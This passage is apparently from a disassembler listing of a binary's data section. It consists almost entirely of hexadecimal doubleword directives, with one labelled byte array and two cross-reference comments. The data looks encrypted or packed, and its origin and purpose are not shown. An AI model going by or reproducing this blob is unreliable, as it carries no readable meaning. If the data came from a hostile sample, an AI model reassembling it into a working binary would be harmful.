0E76C9115h, 997E00DEh, 6838EE9Eh dd 0A82AF847h, 3206D475h, 44D6A365h, 7FEC0028h, 0FAA75AB1h dd 603D8617h, 0D8EA00F7h, 0A89B4C38h, 23350008h, 582AF56Eh dd 973E31Bh, 0B5E01200h, 31134B07h, 0E1340ED6h, 0BB23B22Fh dd 1000E2CAh, 305C5277h, 643AC0h, 6D55B909h, 548116EFh dd 97BAED00h, 76E3C23h, 18A30012h, 38B5669Ch, 0B601E025h dd 72CF8DAEh, 3024329Fh, 0FF740004h, 8327EE4Ch, 70B57D9h dd 6D6011h, 596F1629h, 0A0A27FD6h, 9BC388h, 32F88375h dd 4D2FAA33h, 88CCC200h, 8D0C1645h, 360B00DFh, 136656ECh dd 4D01D5A5h, 0A9812496h, 0A4D48DF4h, 0DDC5039Ch, 26B2F597h dd 0D5F784B8h, 9A19BA00h, 1D5FE6ABh, 0E2F405h, 4836C62Bh dd 0E129BC03h, 4D264F1Ch, 0B04EAA9Eh, 80C00F68h, 3A5A2499h dd 0D878FAh, 0CA21FC84h, 4E38D55h, 0DEDC7F03h, 0B8152B58h dd 2F373h, 7DD6E9CCh, 35AE26C9h, 2E18EB00h, 41968BB8h dd 7F840034h, 8CE38F7h, 0E700C10Eh, 0E13E9DF3h, 79F0BFEh dd 0B5437239h, 0B05AA03Ch, 170028D1h, 0B84BDFA3h, 1D7EB915h dd 0E5731h, 7B0A5E46h, 107E53BCh, 0DC403D00h, 0E95B4870h dd 38450093h, 46B1DEEDh, 8C0DF3Ch, 4D1F23FAh, 1AD71C63h dd 8F1B40BCh, 9BDF09D1h, 5B369A1Ch, 73EF7244h, 644EECC0h dd 0F80E98C8h, 0D3729Dh, 0ECCFD2FAh, 170AEFCBh, 8F78E4A0h dd 6B168503h, 0E8799777h, 34256ADCh, 1201853h, 82A2AAF0h dd 994AEC30h, 352D3800h, 91460421h, 779F090Ah, 60003FF3h dd 0FAAABDD8h, 0CE3D7A1Eh, 324100BBh, 0A9E7561Bh, 0A0330F12h dd 3DA2EABFh, 3840D945h, 0EC000D84h, 0B9366069h, 5ED2F5h dd 839DB3Bh, 0F28E58F1h, 0A3F0A1EEh, 0D88B8302h, 40BB4407h dd 1F5F818h, 0B4134843h, 6083CF21h, 0F1ECB351h, 34C84500h dd 0A6365295h, 0A4DA0004h, 0CEFAEA7Eh, 858C6A2h, 0DB640FF8h dd 1ED6005Dh, 176519h, 12F77C8Ch, 64CE90FCh, 0D7114D00h dd 6DC02657h, 5D040A2Dh, 1F0CC8Bh, 0FC0ADEC4h, 4C6E00B2h dd 2474C7h, 6B3A4DB5h, 0C540444Bh, 1EB0343Bh, 595E0E21h dd 9CC83580h, 6716CCFEh, 91099Bh, 0A7B21CAAh, 0ACABA902h dd 80CEBD82h, 818ACBF0h, 7256070Dh, 97D22CD5h, 0F665C2F2h dd 17538480h, 3A00F4D9h, 0BBAF2EEEh, 155FFC4h, 9D4E56F9h dd 2493E505h, 770E48DCh, 0E23720F8h, 809650A4h, 311025E7h dd 2F7C28B1h, 26BA00A0h, 0AA238662h, 0AD06EDA8h, 0F8503EA3h dd 12B45C70h, 1CE6690Eh, 4BEB5E5Fh, 218076D0h, 925A6ECFh dd 103A9C30h, 156601B8h, 0C47FD00Bh, 38AE4D00h, 6313E670h dd 49DDD800h, 961F3A33h, 0E6207B2h, 0F1BDF669h, 0E0E58356h dd 0D2002E4Ch, 4E147F4h, 13A1E79h, 0B5FA3B82h, 0C871D01Dh dd 0D40C8C29h, 4E5C6CFh, 0E0C011Eh, 0BE950168h, 1DF1C445h dd 0E2B3A600h, 0FB34F675h, 496C07A1h, 0F07EC6FCh, 70532F0Eh dd 0A32D0700h, 89731E4Bh, 28AE4D3h, 0A5811A5Fh, 0A380B4A4h dd 245CE679h, 16014700h, 4150DCBBh, 9D743B10h, 9B35C701h dd 0C775A114h, 0E03126A8h, 2F8A3Ch, 3CC5F7C4h, 767497Fh dd 6C109050h, 298950AEh, 86B020C6h, 9C1B9405h, 28802367h dd 2621FE69h, 0CC6AD9h, 4F050DECh, 8900173Eh, 8C1BEA32h dd 284ED4Dh, 0D18DA3B4h, 480B2FEh, 0CD04D4D7h, 88F44006h dd 4CA4455Fh, 0CE2C88AFh, 0FC2401F4h, 9C635D4Ah, 4380DD9Ch dd 0BE2C6A4Dh, 472E0046h, 0D337CEC2h, 290030A2h, 67C963B3h dd 0DA0532h, 36B69B6Eh, 64331C71h, 0CF989707h, 0EE30F69Ah dd 0FDFD045h, 1D44C301h, 302BDB40h, 0A313A7F7h, 0A91E7024h dd 0F49AA54Bh, 86F00035h, 1811C154h, 3C35AF13h, 0E37C30Eh dd 424CC0D5h, 0C91523h, 664048A0h, 645609EAh, 0EC08CFh dd 6BDECFEBh, 30690442h, 80A52E22h, 0A9B12A1Ch, 15F8C998h dd 0E653BB0Bh, 0A6198273h, 454C40A5h, 2C5003BAh, 0C3286922h dd 2F7F5C00h, 0C4CEA023h, 6B48C3FEh, 0F0009CBEh, 87B1AC63h dd 3DD6BD28h, 2C80BCB7h, 0E847725h, 90171F5Eh, 5400FC6Dh dd 88A57058h, 0E5CBA93h, 131E870Ah, 929A5062h, 942C3040h dd 0FF661700h, 24E28307h, 1D0900C5h, 1663FA6Dh, 0BB003B39h dd 97A70FDAh, 1FF36F90h, 0E40C73h, 57D5E08Fh, 0E00760Dh dd 700B67E5h, 0D2CC43h, 0FD8A2875h, 0B263B10Ah, 0B769B4A0h dd 0C8B8377Bh, 0F3B93409h, 6DD8237Ah, 0CB94D0F4h, 0EC4005Bh dd 38285AF8h, 422493B5h, 0D4001085h, 5F260A4Bh, 0B6E0F2h dd 51B0BBF0h, 0FFE027E3h, 0EF20DD00h, 66AAD6EAh, 12FDE41Ah dd 81355A8Bh, 0C14C3664h, 81C0F7EBh, 493D693Ch, 0E5DB8482h dd 0D4C03297h, 6DF128h, 5CC8A190h, 5A4B5616h, 0E9BF9900h dd 326AE13Bh, 74210220h, 0F47260B2h, 0A3D062DDh, 986277DCh dd 0F6B9C3A0h, 50E1F34h, 0C7855F39h, 0D36B4580h, 5190FEF7h dd 0CE0BD19Fh, 7D0D79Dh, 69E03C60h, 0B8A5C005h, 76DA00DEh dd 499316A2h, 0D70038E3h, 23ABC140h, 389D3039h, 2D807821h dd 696DBAFFh, 0E8C13C47h, 0D4E9A06h, 28D63FD0h, 0C862E1h dd 0B7B51CE7h, 0B3305953h, 4D9C4000h, 19C604C0h, 9C267CFh dd 0D4C01E68h, 0B3C1AF89h, 0C713140Bh, 930800DDh, 5B19F2h dd 39B70E1h, 0DE0A499h, 404E498h, 46EE2DA9h, 0DA6987C1h dd 90BBB1E0h, 0E13400F4h, 3D1064C9h, 700027BCh, 0ABEE95AEh dd 132296FEh, 54ABEh, 4249AF0Ch, 8B003BE5h, 0DC50824Dh dd 16527Dh, 0BE53CFB1h, 0A9ABCCEFh, 7BC70900h, 7FBB6F71h dd 1E6A588Ch, 3AD37001h, 209CBC67h, 0AAE8C638h, 65C2C818h dd 7B819D0h, 641BCBA5h, 750F9099h, 0A400B496h, 624924ECh dd 0C0501636h, 385C4E09h, 52032A2Ch, 35ACF50Eh, 0C880843Ah dd 1AD623Eh, 19FD7ECEh, 0C0091449h, 94005B0Bh, 0EEDC8D7Ah dd 147F6F25h, 0B0CEB247h, 4AB66407h, 0D716B003h, 0F4FF7BEFh dd 0CD384E0Eh, 7CB9A472h, 1887CF00h, 1DF63570h, 0C0EBD4DFh dd 0FE910CBh, 902CDE2Dh, 0BA881Ah, 73C411C8h, 7EE1FE04h dd 0E8C97940h, 1B89256h, 70A6B776h, 208AEF64h, 7B02EAB4h dd 0A74C078Bh, 21D48062h, 7E17451h, 0C230D548h, 0D17B77E6h dd 0DDFD0677h, 0E4A0C3DEh, 2F06C6A4h, 0EF629826h, 0D840E918h dd 0F8EA9B9Fh, 949504DAh, 91281A91h, 342476B8h, 3D74357Ch dd 0E7EA8300h, 0BC0B2AAh, 5EB80331h, 0B70A010Fh, 57A5074h dd 0B6F0CE19h, 27C08E10h, 0B50E00A6h, 0E0463BDAh, 0AE000A6Eh dd 0E561BBE9h, 96CA892Fh, 8E1620h, 5ED1D328h, 0B23C386Ch dd 3A4B0192h, 60BECD9Ah, 1773F020h, 40F07A56h, 663FC5D4h dd 0D30335F3h, 1BA0DF0Ch dd 38E7C025h, 3AB671B1h, 8E38F2EBh, 0C7298A80h, 0DFE65264h dd 8A8E501h, 34697F0Ah, 0D26640DEh, 11DE8F1h, 15879DD6h dd 64765F13h, 1800B37Ch, 0D0FACFEAh, 26C9B6h, 983D8AEBh dd 47E13817h, 8B3C771Fh, 218175C0h, 12F492B0h, 746DD87h dd 0B01B6DDEh, 0E5360634h, 4F01A971h, 0DBB2D5C2h, 0FCC89C3Dh dd 8FCB002Ah, 0CF3A083Eh, 9D00F563h, 6C6271A1h, 96C8FFh dd 868F4F1Bh, 37656017h, 80975B3Ch, 0BAA23694h, 9250E3h dd 0A3936DB9h, 0B0017320h, 427F9C03h, 0F8C6849Ah, 4CD04903h dd 3200E0E8h, 1A529844h, 8B0073B9h, 0D4757C10h, 76CD5B26h dd 9FE8A6h, 8F7A0679h, 1DE662DCh, 0E69054E8h, 0A9BEEB00h dd 6755020Eh, 7C970021h, 9B4D5D8Ch, 3C00EC25h, 60C73207h dd 0EB0E3h, 8892DCFEh, 86200B13h, 0D5E70200h, 5BE26AEAh dd 0CAD0005h, 0E0F21093h, 0D838A103h, 21268228h, 40E9E6C6h dd 191861h, 14751240h, 0FE5A394Fh, 800ABC38h, 0C03E8272h dd 73CB7Bh, 0C2BDC4F9h, 896AC7DFh, 37BAB500h, 9E9656E4h dd 0D6921C26h, 0B000FEE9h, 54281BB7h, 0F900741Ch, 0B1D45B3Ch dd 70C66C82h, 5FCA1EDAh, 0D52BC0FFh, 8FBFB326h, 11901548h dd 1600183Fh, 7D64376Ch, 31094C3Dh, 80AA3443h, 4F2DBB8Eh dd 90D8EEB1h, 3D070260h, 0D950603Eh, 56BDAC60h, 19058201h dd 0E572C928h, 88251FF1h, 0EB80A82Dh, 0F694A53Ch, 5BD0AF00h dd 0C2042F3h, 2159016Fh, 96E8059Dh, 8E10800Bh, 94348B81h dd 7D610120h, 2EBB5D1Bh, 0D43C31C4h, 8E007EC9h, 0E58C5887h dd 3EECA9Fh, 4B0169B8h, 2BD07FF0h, 211C9222h, 9840FD90h dd 0C0038953h, 6F1F02E1h, 0BCBD6B2Ch, 0DB6874E0h, 7AE3900h dd 48F0CFF7h, 0E3740041h, 6C188266h, 6200956Ah, 5D0CD42Ah dd 0C3BA72h, 0F347A2D6h, 6D16862Ch, 1200A475h, 278CD874h dd 9B50580h, 0B1A765F0h, 0A0D28482h, 405D70CAh, 38ABC5F4h dd 8FACC701h, 0A2B98008h, 0B8F098B0h, 1A564503h, 754EB7Ah dd 2C4E5108h, 33593080h, 312EF539h, 3A81F03Eh, 7D681ABEh dd 0BA3B30h, 0ED6B056Fh, 0DE20FC7Ah, 7C06A113h, 88BB8420h dd 0CA420B7Bh, 0BD804C7Eh, 12DADFEDh, 0E4233500h, 14CF2F38h dd 0BB8201BCh, 1B52DE34h, 9520C456h, 0C69A3B01h, 115E3FEAh dd 9F0B6438h, 0C805EC0Ah, 939F1DF3h, 0DA3002C8h, 28C0B5E1h dd 1A1875BEh, 0A5118C35h, 3C9C039Ah, 69E3BC02h, 0E560AD88h dd 9722A300h, 60A1E6Dh, 0D3BA0095h, 833A2B0Bh, 1700FD3Dh dd 1CB7788Dh, 0A54118h, 9724E60h, 882A4CDDh, 0AC84340Eh dd 480F20ECh, 3D69EB8h, 0EFADB6BBh, 18C170EBh, 0F2C9D0FBh dd 0E1816200h, 8284EA71h, 5DFC3AC6h, 2FFF9980h, 5C02139Dh dd 5378E00h, 0A328F6Dh, 0AB3A1E3Eh, 91AE4C27h, 22000F09h dd 1692A7AFh, 336DD6h, 70AD42D1h, 981B4759h, 0C8B4ED3Ah dd 0AC800A7h, 6B0F6744h, 8199002Dh, 0D38C37B1h, 700ADB0h dd 0E9B696E4h, 1A6A9BFh, 3E64573Ch, 0E005E3F1h, 0D6F4D734h dd 0E4C6A160h, 0B8AEF455h, 0D89D004Ah, 917D7CF3h, 3A0077FDh dd 3C6189EDh, 15317Bh, 0BD331740h, 0B85EDC7Fh, 9CAB8000h dd 29E246E5h, 0F3FCF3EFh, 0EB7C007Eh, 0C4B1A043h, 0BA07BC97h dd 4C50FB9Ch, 0C0A80C0h, 0FD7300B0h, 0B33A99BEh, 253E6BA9h dd 0CCDB3CD7h, 0C26E0583h, 0AC00A723h, 846D3E8Ah, 0F1720197h dd 2485F483h, 541FDC47h, 28773203h, 0F8873998h, 2BFD03h dd 0F94234BEh, 758B9B10h, 59A75800h, 1FEE016h, 0DCC900B8h dd 0E612C6D2h, 0C80EDE45h, 600CB036h, 0B9849D10h, 0B2FB006Ch dd 828BA486h, 88CEF81Bh, 0EDF4C711h, 5693A347h, 0FFA10095h dd 0BD195D3Ah, 24611565h, 0BBEC3908h, 0A523208Ch, 8D0CEB10h dd 201554B1h, 955700F2h, 1196BB02h, 0B78FD62h, 8A075DF8h dd 0E923E180h, 8D608CC0h, 831A0298h, 54C1F9B6h, 75473620h dd 57F8280Bh, 4A171244h, 7EC103F4h, 287C9654h, 21949733h dd 0DEC00003h, 85557731h, 1C00A7EBh, 5259881Dh, 0A13D97h dd 0E64A117Fh, 844D6AD6h, 0EC577101h, 0FBD9707Dh, 5824FB70h dd 1700D87Bh, 23D7AA6Ch, 0A2076385h, 4A18233h, 0B4801B65h dd 1FABB2Ch, 9B369D87h, 0D46D7795h, 0EF0E37C2h, 0C074F742h dd 0F0EE29E0h, 0C4C30347h, 0B6BA939Eh, 48AB92Bh, 602C31F0h dd 4581078h, 3A502173h, 0B007FEC0h, 9EFABDA0h, 32F83800h dd 8AD7078Eh, 0C7B60BF7h, 0A158019Ch, 0E945F0FFh, 0C25F6600h dd 4AAD59F9h, 0E6D80052h, 8EFE1E7Dh, 86072D9h, 0DF385851h dd 4C29C0EDh, 2DABD195h, 0DC852416h, 5FE1B700h, 20C20Ah dd 0FD59F5CBh, 0F2AFF07h, 12615163h, 6413BFEh, 696086Fh dd 19B9AF0Ch, 87ED8300h, 1935D00Ch, 5A570E5Fh, 90D9B23Eh dd 8FB16BD1h, 5B149080h, 68167E7Dh, 66789A0Ch, 402DE806h dd 0E13E9E0Dh, 813A006Dh, 392631D9h, 8F444DEh, 5FE49815h dd 8D78854Ch, 2414A380h, 7A5518ABh, 6CACA953h, 0FFBAF22h dd 0DC876A52h, 66063888h, 303930A5h, 9D595AE2h, 910089C1h dd 6B1B0DF3h, 9A201Eh, 0F65F3E41h, 647EA1FBh, 74924700h dd 0A3992AB9h, 8160C3B3h, 7800137Ch, 9B87C68Eh, 0C348EBh dd 1EBCBFF7h, 5C06D1E9h, 4BAA2000h, 66AE5BE1h, 4C1A0018h dd 54F307C8h, 8011E9Eh, 5F9F9ABFh, 58D01DDFh, 0CA7BCA6h dd 8A10EA4Ch, 1A422A00h, 6CE1F53Eh, 0FE5F164Fh, 0ED370087h dd 0EA38D808h, 0A3F496EEh, 0BDF5841Dh, 3689BF98h, 3F260024h dd 0B35D5340h, 0D000C8E4h, 82A6081Bh, 3C275C7h, 8DB2F89Bh dd 1E98105Fh, 983A261Dh, 43D38ED8h, 0E2C40C9h, 103E4Ah dd 0B276B7C1h, 0D2FE187Eh, 73C03Ch, 0F1C5BE45h, 783BF672h dd 1CF50047h, 0EA28A94Fh, 0F438D24Ah, 4CCB89F0h, 21BA0CF1h dd 0E5E00008h, 0F7B25491h, 77064EFCh, 0BDA17ECEh, 5E700250h dd 0A5F04F1Dh, 0D32A4900h, 36620CE7h, 0F37A39F7h, 8FFB3B07h dd 3F33676Dh, 0BFF1C97Ch, 1DF53181h, 4103EE81h, 0C789F50h dd 26E50F24h, 0C8F054D2h, 0FC048041h, 0DAA362E5h, 0D5699E00h dd 575163FFh, 36DF1FF2h, 0FA0F0095h, 1BC4E04Bh, 6F384860h dd 74439EFFh, 10D10C9Ah, 960817CEh, 831C90CBh, 0D83A9E1Fh dd 64BFC8Ah, 0EF9C50B2h, 731DB8E7h, 0B07366EEh, 0FDCEF039h dd 0D070DE4Bh, 8B9D0E42h, 67CB00D9h, 7581BECh, 20BDB27h dd 0F0BE3065h, 6B00915Ch, 0C5552C94h, 736466E2h, 0F58600AAh dd 0A04D073Fh, 5F00DAFAh, 4B4EB212h, 0E63606h, 2DA25B0Fh dd 15A5AB9Dh, 0C000CA72h, 2999E8E4h, 1D8CD4AAh, 0C0B34198h dd 0AEB97534h, 73005DBAh, 22AC3EB8h, 274521h, 0C0369361h dd 0C81D8ED8h, 0E51E1600h, 9AB3E904h, 0CECD00A5h, 8615702Ah dd 0C000750Fh, 3BB956B6h, 0E87E06h, 9F7D7AFFh, 238D6FC5h dd 0E1539316h, 0E9415D03h, 8A1DD80Eh, 6E6D00DBh, 0C2B82FD9h dd 0DD1E7081h, 0AC80A2F2h, 0DE5662B6h, 0D5E6006Ah, 0FE36A9EFh dd 2053B9Ah, 34741FFAh, 274BBF80h, 0AE3200D7h, 0CE12C78h dd 5A002DC3h, 0D9283F37h, 347F30h, 0F1251E4Bh, 9CB33BA2h dd 4ADD8401h, 6A4F68EDh, 0FC45E70h, 0BDFDD9C2h, 1015D3A7h dd 0C80540DEh, 0FC007A7Fh, 3E4C60DFh, 0FF0229h, 0E934CC25h dd 6ABF6DDEh, 22A2F003h, 0B0310836h, 0E86FD7h, 0F3EC2176h dd 0F2E73ED5h, 0C82B4000h, 0D8570C75h, 0E93600C3h, 45FBE217h dd 0B000A0D6h, 0B14CDB38h dd 2619CB03h, 3B299B7h, 85FAD99Bh, 6B022EBh, 1B002428h dd 5F641F18h, 0D23FBh, 9138B9E1h, 0E0A06647h, 281BDA00h dd 0DEECB13Dh, 0E17F3264h, 0D7112D29h, 219924EAh, 0D110E77Dh dd 14809E47h, 0A6F588F3h, 890DA088h, 2C4017E5h, 8A946Eh dd 53C866EFh, 6109F3B1h, 8B4AF400h, 29C63FB8h, 629622E5h dd 447D08E5h, 2284AC5Fh, 0AE226C86h, 5E8E22BBh, 0AD08A042h dd 0D21096F8h, 5C59F184h, 9E003CD0h, 97C4AD94h, 0BA003A63h dd 0BC387002h, 348F8h, 30511CC0h, 0B24381C1h, 14C99F03h dd 0CAB3BFh, 0E6B89908h, 0CBC3D485h, 0FFCCA200h, 0C7BB482Ch dd 0C27F34h, 30E61E3Bh, 310CC115h, 0C90072ECh, 6C5B63F6h dd 8DC584h, 10F80D03h, 0B6C7526Fh, 0EB58D900h, 0BBCF57FEh dd 14030171h, 0A8AD3A5Ch, 0CA9ED0BDh, 2093A300h, 22475EA6h dd 0F088090Bh, 98060FBh, 0D8E15DD0h, 4E019800h, 19124853h dd 49BC036Eh, 33774DC7h, 88A7ADD0h, 94B22600h, 0AAE090B7h dd 0BF7803C9h, 86D4A632h, 0CF4C0BE0h, 80CE5F3Bh, 4918A8CAh dd 7AD6C12Bh, 0CB460024h, 59423EA9h, 41013D38h, 8A9204E1h dd 4AD80370h, 0F62200ADh, 0E72E5B1Eh, 7D0642FBh, 0F88E8F6Fh dd 24110028h, 8701B9ECh, 0DB00D203h, 0F14E609Dh, 60574594h dd 495EB881h, 99010C78h, 1E54A29Fh, 0F9D4111Ah, 28F0092h dd 436E4568h, 0C9003E88h, 0E459A3D1h, 0DA5405h, 57D79A7Dh dd 2A67AAFBh, 50FE3700h, 61F7B7D1h, 0BA9E0BA2h, 0AD80C906h dd 0D8B46255h, 0EF027A09h, 603A8F1Ah, 0D9D3E277h, 0F3EC1Dh dd 0DA2B60AEh, 75453B92h, 0B2205303h, 0C0BD9426h, 0C0FF6586h dd 143F6340h, 3D3E1C17h, 0F6C50082h, 0FB899496h, 28F1004Dh dd 0C1466C9Ah, 0FD0018ECh, 0EA63F4DAh, 3545A7h, 409C192Bh dd 0BA897A4Bh, 5916C603h, 0F0C15B7Fh, 1F0A724h, 0AA15024Eh dd 0D85C7122h, 0E400BA2Ch, 3408CFA8h, 30E841Bh, 190B6B8Ch dd 1DE18710h, 123FD0DEh, 402EB000h, 562A614Dh, 88423FCAh dd 8DEAC100h, 72F558E5h, 0F338027Dh, 0DF260028h, 0DEFD148Ch dd 0C68F0379h, 4025D550h, 901D3A3h, 0E6D62CE9h, 65E84FE1h dd 0A8E200ADh, 0DBAEF52Fh, 561C891Dh, 0CEC380F6h, 987166EAh dd 3F7B06Ch, 1835E684h, 0E197958Bh, 52566B5Fh, 7C60D0E0h dd 0CB1F1D9Dh, 7240A0C3h, 0A6D761E6h, 26060415h, 0C039CF31h dd 4ACC9339h, 0FA8F48h, 34C5334Bh, 0A0AA6E14h, 0A9F9B8h dd 0E7853E98h, 831F9C86h, 9B4EE39h, 303A49h, 82DD98A0h dd 223C0F78h, 52ACDAh, 0C8F0B8Eh, 0F0091E8h, 4380FA99h dd 0C23538h, 26A09E67h, 0E58B391Ch, 0A8D27409h, 810000D1h dd 4085C4h, 0B6A392E2h, 901B88A1h, 69D058C1h, 2882D243h dd 89AB2846h, 8E91B840h, 36720CBh, 981732D3h, 6E0702Fh dd 455C2E4Bh, 0EB01F0B5h, 0D05624D1h, 0A170B026h, 9B950053h dd 39378262h, 0E7006157h, 56FF8874h, 0E4427Ah, 0A2133B79h dd 0A3949332h, 0D11DFB00h, 0FB20561h, 7890044h, 41E1EEEBh dd 88A03916h, 0CD009F28h, 0C98C5BE0h, 0B4BCF3h, 9886F1C3h dd 37BAE5BFh, 0AD076090h, 1F4C9F42h, 4009A35h, 0A9B5112Ah dd 0B8BC1D53h, 5CC2832Ch, 0E9903F8Ah, 8D26C442h, 0A200670Eh dd 9AC3331Ah, 23D60012h, 0A158DB48h, 823EDCFEh, 0CDEC809Dh dd 0D6834EC5h, 0DD5001DAh, 5876687Ah, 0BFA5D8FDh, 1A26E900h dd 0D875D22Fh, 6AF12DAh, 1BC160Ah, 0EBF5CA74h, 615FD889h dd 0B6B5B201h, 1471335Bh, 1F841820h, 9F05DBh, 0CE4FFA91h dd 3103B8C8h, 4D18FB2h, 21C6E8A2h, 391801DEh, 3466988Dh dd 0FFF9D43Ah, 14BB7700h, 0CA3E5D74h, 0D775B8h, 0AC01A172h db 1Eh byte_520045 db 7Ah, 19h, 0DBh ; DATA XREF: ___:00437A28o ; ___:00437A40o dd 0E5D5C300h, 4BD3441Ch, 997D58h, 14745AD6h, 6C6ADB52h dd 8AD4B328h, 0E4373Dh, 17BFF391h, 43BF5CEh, 4956E1B6h dd 87C7844Fh, 0EDF4A0A6h, 0C14875FDh, 21BE00E0h, 0B8C52FCAh dd 0E21000D5h, 0E04ED336h, 13603F86h, 65EF14A1h, 82F506AEh dd 9F3B0A2h, 0A8900900h, 0A9AF02C6h, 43480945h, 0E0022DC8h dd 1460BC7Bh, 8A3E7F44h, 80C5386Fh, 30D2F3BAh, 66C2CFh dd 9EA60921h, 0CD5998B6h, 18004890h, 0BC1B41Dh, 0E7CA0D3h dd 1EE8F805h, 0CFAC7560h, 0BB00E742h, 35A4A165h, 0FD37F3h dd 6E7FB454h, 0F4503947h, 8F004BEAh, 38CECF3Ch, 6CDC55Bh dd 0F7495CC6h, 7A004948h, 3F81881h, 48049C65h, 60187FEAh dd 0BE5C3031h, 6AF6A516h, 34884000h, 1898FCh, 1D4ECE79h dd 5C53960Bh, 0F48F3Ch, 55D3817Eh, 0E593C7h, 0EB26945h dd 0E4AEFEC6h, 8342203Eh, 0C96CB6A9h, 0D5B5D02Dh, 3E0FA7Eh dd 0B08B5D17h, 0BF980EC2h, 0F50038F1h, 0EE8A959Bh, 30D151h dd 10FE5664h, 0A713232Ch, 20A2D933h, 0D71AD85Bh, 69F0145Fh dd 0C2009CF5h, 796C030Ch, 31001F0Ah, 0FB4B6A28h, 0EAE4F8AEh dd 347A24F0h, 441900D4h, 0BBB40162h, 8EAF9F00h, 0E9B6101Dh dd 45C7077Bh, 0D87A95h, 627309FCh, 7A504A5Ch, 33351000h dd 0D3F6755Dh, 0F0A600F1h, 8E012FD6h, 143D67A7h, 3720025h dd 694DBE46h, 71040363h, 0F220ABE2h, 9D113000h, 7C62EB7Dh dd 0C1B80B5Eh, 6F008C86h, 266F3559h, 2694B43Dh, 5C2CAC81h dd 6A12CF01h, 0EF6051E0h, 4C7100E7h, 4520F04Eh, 81B07ED6h dd 0FA9C151Eh, 17967AC0h, 1093CAh, 49BD3E73h, 7CCD8689h dd 7E6D421Dh, 2513F6D2h, 4BA2FE00h, 0AC44ADh, 0B3619252h dd 397C8C0h, 0BB00BD7Ah, 6E99BCDDh, 0C7030E5h, 76432106h dd 0C008409h, 2F814937h, 24CDC433h, 838048C2h, 2A93FFBh dd 91F866B3h, 71EB9D46h, 0D2013038h, 0E14F3E1Fh, 0EB746880h dd 50878175h, 7C3ABCA6h, 0D2B300C5h, 3F89965Bh, 5B05A61h dd 0DB3D3Ah, 2F76341Ch, 0FA683255h, 47B818h, 73FCCA38h dd 9A08FA25h, 0C1606D00h, 2FA0A1B0h, 32290122h, 1F7951CEh dd 3EFC709Ch, 5DFA2000h, 0BC171D3Fh, 0C92604D2h, 8012D486h dd 0BE2818D5h, 0B599B900h, 0A562DA67h, 63D8306Ch, 0A74DD608h dd 56413E00h, 3509E7AEh, 0F00C5001h, 5C491307h, 0D7CC3014h dd 600FFFAh, 102D1984h, 0DD5BAFh, 0F638DA6h, 61F1D6E6h dd 0C36C3E00h, 7C04F2FAh, 22549031h, 0D50042DDh, 0EB1DB273h dd 3C8DCCh, 2EE31748h, 0EE87F197h, 55D47C02h, 489536B4h dd 16E934Ch, 0B3283049h, 47AF71CCh, 2820DBF9h, 0C521241Dh dd 78D83050h, 0B1A49601h, 0DC697D44h, 0A98C0h, 0F687DD6Dh dd 0C7C8D5BAh, 20E68EB7h, 269F01C3h, 2219C90Ah, 72F782F7h dd 8869E0A9h, 0FE950F6Bh, 0E0E07F5Fh, 71F7AD28h, 0EF81FD00h dd 17EB0CCCh, 2A94CCB9h, 13001CE8h, 781FF5E9h, 10D0E0h dd 1AC6E218h, 8EAA3E34h, 0B13D0B00h, 90DCC799h, 0A2137FF1h dd 17A34004h, 69CF02C8h, 0B5E1470Ah, 0E84CBAC3h, 8D487152h dd 16F23D1Ch, 9500B899h, 0E8229C7Eh, 0B25E0093h, 0C8DC40C2h dd 0C7EE44D7h, 0B7B3D807h, 0B6B08DA5h, 4860ED38h, 1E0B1C8Ah dd 0B0A00BB0h, 75748D3Eh, 0EE036B00h, 97B1CFEBh, 0EDFE006Ah dd 7A096C16h, 25014B76h, 0AF5AF033h, 0B5C424C2h, 5C84009Dh dd 57DF276Eh, 0B3009F17h, 5A1B9B9Eh, 76DB572h, 11AFC551h dd 0DE09E046h, 9CA037A2h, 8E10BE18h, 712DCBh, 0C21906F7h dd 0C4080194h, 0A5BEC03h, 9057FE6Eh, 5AED02h, 0E0DD1505h dd 0E7F748E5h, 4A1304A0h, 0FBD1ED00h, 0CD64F055h, 85A22899h dd 1E11089Ch, 0BCC08C2Ch, 1496F07Bh, 8CACBE9Ch, 0EA556D00h dd 2A575823h, 2518F358h, 0A0381015h, 0DB8CA0F1h, 690F007Fh dd 0BAFE774h, 0D72481EEh, 1465C7Eh, 148209A8h, 94A07F9Fh dd 19F411C3h, 65B0A709h, 155C207Eh, 506379h, 6FB58F3Ah dd 489FAEC4h, 2BA05D54h, 9DE88800h, 8BB293ABh, 40240149h dd 3E0C0223h, 0E27C3055h, 13D63500h, 154184C9h, 0F82A5916h dd 173BB200h, 183AB138h, 0C299BB00h, 0C4B68EF9h, 509C3F7h dd 9EF0DCACh, 3604DD7Ah, 394C7744h, 0C8D7A480h, 0C203172Eh dd 7AC0034Ah, 38EAC402h, 6CD8F893h, 75007B8Bh, 0F2AF68B4h dd 24E97F03h, 3008D3h, 19883942h, 0AC01DA24h, 0D93F76DDh dd 4C6559ADh, 9DA75680h, 0F04342C4h, 6CB7400h, 67C63AD7h dd 45150031h, 3FC00459h, 0EA001B40h, 0FBD76693h, 90B2DBA0h dd 9AEF3F69h, 5110E080h, 0F340AF7h, 939BD0C0h, 0C98B27h dd 84DD65FCh, 0EB38771h, 590198C3h, 3F9BF039h, 67BE7206h dd 431C6864h, 45805430h, 8D0055DCh, 0C6B38677h, 603783D8h dd 1AD508C5h, 360021CBh, 0DE2E306Bh, 50594882h, 776784B1h dd 0B9860FA2h, 0E2E05EA0h, 0E63E57F8h, 65A9DA00h, 0A7EC7DFh dd 1FC378EAh, 1D1896F9h, 0E3A60014h, 0B40572ABh, 6A641A00h dd 2D7FE870h, 4E150047h, 5F1B732Eh, 0F200A474h, 3293F18Eh dd 6E21B6h, 1A464723h, 0FB3862ACh, 1215221Eh, 0F8DDE81h dd 88802A86h, 7ED98C80h, 250038B9h, 0D65EAF3Dh, 7D989447h dd 0F270058h, 0D54D4C6Ah, 0FA072EF0h, 36E95183h, 0E2F400Ch dd 946B2786h, 0B67AFD60h, 97079A31h, 3E06B71Dh, 0C2DD8F70h dd 395D3FB8h, 8550FE00h, 0DCF2624Dh, 37BCCC00h, 0BE58A5F1h dd 0B44B382Dh, 81871200h, 0F3766EBAh, 511F53B8h, 0B680ECA3h dd 0AA247A78h, 0C09E749Dh, 0D39F58D8h, 0E9E632A1h, 57C96B00h dd 9B7389CEh, 92780534h, 0C0B67CC7h, 1D8B9CB9h, 1BA3D900h dd 7EFEB8ACh, 447B003Ch, 0B52D545h, 0D40190E9h, 11B36A5Bh dd 0CEF8E472h, 5FE600B7h, 3C206486h, 3F386B4Bh, 8FFEB830h dd 20C76358h, 0F33DB0D6h, 0B9040060h, 